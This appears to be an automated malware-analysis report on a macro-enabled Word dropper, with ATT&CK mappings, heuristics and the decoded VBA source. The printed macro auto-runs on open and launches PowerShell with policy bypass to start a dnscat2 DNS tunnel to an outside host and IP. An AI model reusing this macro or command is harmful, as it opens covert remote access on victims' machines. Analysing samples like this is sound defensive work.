MALICIOUS
726
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.001 PowerShell
T1059.007 JavaScript
T1140 Deobfuscate/Decode Files or Information
T1204.002 Malicious File
The sample is a malicious Word document that uses a lure to trick users into enabling macros. Upon enabling, the AutoOpen macro executes a PowerShell command that downloads and executes a second-stage payload from a remote URL. The embedded PowerShell command is: powershell -executionpolicy bypass -command &{Import-Module $env:temp\VacationCalc.ps1; Start-Dnscat2 -Domain www.mysurveygift.com -DNSServer 35.162.238.198 -PreSharedSecret 1}. This indicates a downloader and execution pattern.
Heuristics 20
-
OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
-
ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
-
Ole10Native package payload is a download-and-execute script critical OFFICE_PACKAGE_SCRIPT_DROPPERThe OLE Package's embedded payload contains a script that hosts a shell (PowerShell/WScript/mshta), fetches a remote resource, and executes it — a download-and-run dropper. Embedding such a script inside an Office document via the Object Packager is a direct user-execution delivery technique (MITRE T1204.002), not a benign attachment.
-
Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILEOLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
-
VBA macros detected medium 7 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Next num Call Shell("TASKKILL /IM notepad.exe", vbHide) Set oShell = CreateObject("WScript.Shell") -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Call Shell("TASKKILL /IM notepad.exe", vbHide) Set oShell = CreateObject("WScript.Shell") temp = oShell.ExpandEnvironmentStrings("%temp%") & "\VacationCalc (2).ps1" -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
objFSO.CopyFile temp, temp2 Call Shell("powershell -executionpolicy bypass -command &{Import-Module $env:temp\VacationCalc.ps1; Start-Dnscat2 -Domain www.mysurveygift.com -DNSServer 35.162.238.198 -PreSharedSecret 1}", vbHide) End Sub -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Call Shell("TASKKILL /IM notepad.exe", vbHide) Set oShell = CreateObject("WScript.Shell") temp = oShell.ExpandEnvironmentStrings("%temp%") & "\VacationCalc (2).ps1" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() oqH8L -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
End Sub Sub Workbook_Open() oqH8L -
Reference to ShellExecute API high SC_STR_SHELLEXECReference to ShellExecute API
-
Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
-
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Visual download / call-to-action button lure low SE_DOWNLOAD_BUTTONDocument contains a call-to-action phrase ('Click here to download', 'Download Now', etc.) — low-signal unless other findings point to a malicious workflow
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://labs.rebex.net/curves Embedded OLE package script
- https://gist.github.com/FrankSpierings/3577b0365d02df6f7eebEmbedded OLE package script
- https://gist.github.com/FrankSpierings/c18da658e06948313fffEmbedded OLE package script
- http://keccak.noekeon.org/Embedded OLE package script
- http://cr.yp.to/snuffle/salsa20/ref/salsa20.cEmbedded OLE package script
- http://creativecommons.org/licenses/publicdomain/Embedded OLE package script
- http://cr.yp.to/snuffle.htmlEmbedded OLE package script
- http://code.logos.com/blog/2008/06/salsa20_implementation_in_c_1.htmlEmbedded OLE package script
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1494 bytes |
SHA-256: ab1e73abd398d60d0a98939745b1805b61e8f133e371fb0157d04bd20aed08d1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub hidetext()
ActiveDocument.Bookmarks("test").Range.Font.Hidden = Not ActiveDocument.Bookmarks("test").Range.Font.Hidden
End Sub
Sub oqH8L()
Dim num As Integer
Dim AD As Document
Set AD = ActiveDocument
Dim numObjects As Integer
numObjects = AD.InlineShapes.Count
' MsgBox numObjects ' prints "11"
For num = 1 To numObjects
If AD.InlineShapes(num).Type = 1 Then
'it's an embedded OLE type so open it.
AD.InlineShapes(num).OLEFormat.Open
End If
Next num
Call Shell("TASKKILL /IM notepad.exe", vbHide)
Set oShell = CreateObject("WScript.Shell")
temp = oShell.ExpandEnvironmentStrings("%temp%") & "\VacationCalc (2).ps1"
temp2 = oShell.ExpandEnvironmentStrings("%temp%") & "\VacationCalc.ps1"
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.CopyFile temp, temp2
Call Shell("powershell -executionpolicy bypass -command &{Import-Module $env:temp\VacationCalc.ps1; Start-Dnscat2 -Domain www.mysurveygift.com -DNSServer 35.162.238.198 -PreSharedSecret 1}", vbHide)
End Sub
Sub AutoOpen()
oqH8L
End Sub
Sub Workbook_Open()
oqH8L
End Sub
|
|||
ole10native_00.bin |
ole-package | OLE Ole10Native stream: ObjectPool/_1587391528/Ole10Native | 411114 bytes |
SHA-256: a0ad13dc98df7a2cecd0e2938964ef045513f8c011937a2c5eb20be79cf5383f |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis recovered command string(s): powershell script is an unofficial client for the dnscat2 DNS tunnel.
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.